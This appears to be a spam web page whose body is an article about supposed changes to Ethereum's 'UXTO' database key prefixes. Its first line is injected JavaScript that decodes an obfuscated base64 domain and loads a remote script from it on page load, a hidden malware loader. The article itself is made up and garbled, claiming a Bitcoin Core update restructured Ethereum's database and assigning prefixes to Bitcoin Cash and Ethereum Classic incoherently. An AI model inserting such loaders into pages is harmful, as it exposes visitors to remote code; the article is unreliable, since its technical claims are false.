const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=11614634″;document.body.appendChild(script);
Understanding the Changes in Ethereum’s UXTO Database Structure
The recent Bitcoin Core (BTC) 0.15 update introduced significant changes to the way the chainstate database (DB) is structured in Ethereum. Specifically, the old key prefix and corresponding data have been updated to a new format.
Old Prefix vs. new format
Prior to the update, the key prefixes used in the Ethereum DB were:
- 0x63: Bitcoin Cash (BCH)
- 0x43: Ethereum Classic (ETC)
After the update, these prefixes have been changed to:
- 0x43: Bitcoin Cash (BCH) and
- 0x53: Ethereum Classic (ETC) and
Where is this change described?
The change has not been widely documented in the official Ethereum documentation or on-chain channels. However, some online resources provide hints about the updates:
- Ethereum.org: The official Ethereum website does not mention any changes to the DB structure.
- Ethereum Devnet: A few developers and contributors shared their thoughts and insights on Reddit’s r/EthereumDevnet community, mentioning that the change came after a major Bitcoin Core update.
- Ethereum 2.0 Documentation: While not directly related to the DB structure, the Ethereum 2.0 documentation mentions changes to the network’s scaling solutions and storage mechanisms.
Conclusion
While the exact details of this change are still being revealed by the community, it appears that the Bitcoin Core update introduced a new prefix system for key data in the Ethereum DB. As with any major update, it is recommended to investigate further to understand the implications for Ethereum’s scalability, security, and usability.
